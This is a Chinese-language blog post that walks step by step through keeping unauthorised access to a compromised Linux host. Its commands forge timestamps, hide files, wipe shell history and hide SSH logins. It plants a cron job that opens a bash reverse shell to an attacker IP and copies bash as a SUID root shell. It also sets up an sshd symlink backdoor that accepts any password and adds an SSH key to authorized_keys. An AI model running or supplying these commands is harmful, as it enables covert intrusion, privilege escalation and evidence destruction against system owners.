linux权限维持

权限维持

1.木马隐藏

a、修改时间

利用touch -r 修改时间
image.png
很多管理员会通过时间戳查看文件创建的时间,如果是最近创建的,那么就会去重点排查,而我们可以通过下面的命令修改木马的时间戳

b、隐藏文件名

创建文件时名字前面加.
而隐藏文件单纯使用ls是无法查看的,需要使用ls -la才能查看到,如下image.png

c、删除权限

chattr +i test.txt
chattr -i test.txt
image.png

d、隐藏历史记录

在shell中执行的命令,不希望被记录在命令行历史中,如何在linux中开启无痕操作模式呢?

技巧一:只针对你的工作关闭历史记录

[space]set +o history  #备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录

上面的命令会临时禁用历史功能,这意味着在这命令之后你执行的所有操作都不会记录到历史中,然而这个命令之前的所有东西都会原样记录在历史列表中。
要重新开启历史功能,执行下面的命令:

[Space]set -o history  #将环境恢复原状

技巧二:从历史记录中删除指定的命令

假设历史记录中已经包含了一些你不希望记录的命令。这种情况下我们怎么办?很简单。通过下面的命令来删除:
history | grep "keyword"
输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项:
history -d [num]
删除大规模历史操作记录,这里,我们只保留前150行:
sed -i '150,$d' .bash_history

e、隐藏ssh连接

在Linux中可以使用Last查看账号SSH登录情况
last|grep root
当我们用ssh进行登录时,就会记录,信息包括登录的账号,远程登录的主机,登录时间
image.png
ssh加上-T参数,可以进行隐藏登录记录,不被w、who、last等指令检测到
ssh -T -i id_rsa root@192.168.110.131 /bin/bash -i

2、计划任务

1、创建一个sh脚本
,例如在/etc下创建了一个shell.sh的脚本,内容如下

#!/bin/bash
bash -i >& /dev/tcp/192.168.15.130/6666 0>&1

注意:这里的192.168.15.130为我们kali的攻击机的ip,端口为我们攻击机接收的端口,相当于控制目标主动来连我们
2、赋予执行权限
chmod +sx /etc/shell.sh
3、写入计划任务
vi /etc/crontab
打开计划任务文件
将下面的指令添加到该文件中,意思就是每分钟执行一次我们的恶意文件
*/1 * * * * root /etc/shell.php
时间在线生成:https://cron.qqe2.com/
重启计划任务
service crond restart

3.suid shell

suid shell 主要是方便提权,配合普通用户使用
使用之后就会让普通用户毫无压力提权,自然也达到了类似权限维持的效果,原理如下:

  • 首先Linux系统上,都会有一个叫Bash的shell文件,这个时候我们可以把这个shell文件copy一份到另外一个文件夹
  • 再把另外一个文件夹加上us(即suid)的一个权限
  • 这样其他用户在登录时,利用suid就可以轻松提权

步骤如下:
将文件复制出来
cp /bin/bash /tmp/shell
赋予suid权限
chmod u+s /tmp/shell
这样就设置成功了,我们再使用普通用户登录
执行刚才的文件
/tmp/shell -p
成功拿到权限·,效果如下
image.png

4.SSH软连接

在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0即root权限即可成功认证登陆。通过软连接的方式,实质上PAM认证是通过软连接的文件名 /tmp/su 在/etc/pam.d/目录下寻找对应的PAM配置文件(如: /etc/pam.d/su),任意密码登陆的核心是auth sufficient pam_rootok.so,所以只要PAM配置文件中包含此配置即可SSH任意密码登陆,除了su中之外还有chsh、chfn同样可以。
利用前提:
ssh配置中开启了PAM进行身份验证,查看是否使用PAM进行身份验证:
cat /etc/ssh/sshd_config|grep UsePAM
为Yes即可使用
注意:如果你为root用户的话你也可以 手动将它开启
image.png

ln -sf /usr/sbin/sshd /tmp/su ;/tmp/su -oPort=9999
#开启软链接,链接端口为9999
 
firewall-cmd --add-port=9999/tcp --permanent
#开启防火墙规则,不然会连接不上
 
firewall-cmd --reload
#重启防火墙服务
 
firewall-cmd --query-port=9999/tcp
#查看防火墙9999端口是否被放行,回显为YES即成功放行
 
ssh root@192.168.149.133 -p 9999
#使用软链接登录,密码可以随便输入
(192.168.149.133为我环境中目标的ip)

5.ssh公私钥免密登录

本地生成公私钥ssh-keygen -t rsa
image.png
进入/root/.ssh/文件夹,查看文件夹的内容,如下所示:image.png
其中 id_rsa为私钥,id_rsa.pub为公钥,接下来打开id_rsa.pub,将内容复制到服务器。将id_rsa.pub的内容追加到/root/.ssh/authorized_keys内,配置完成。
image.png

posted @ 2024-03-29 11:12  小新07  阅读(76)  评论(0编辑  收藏  举报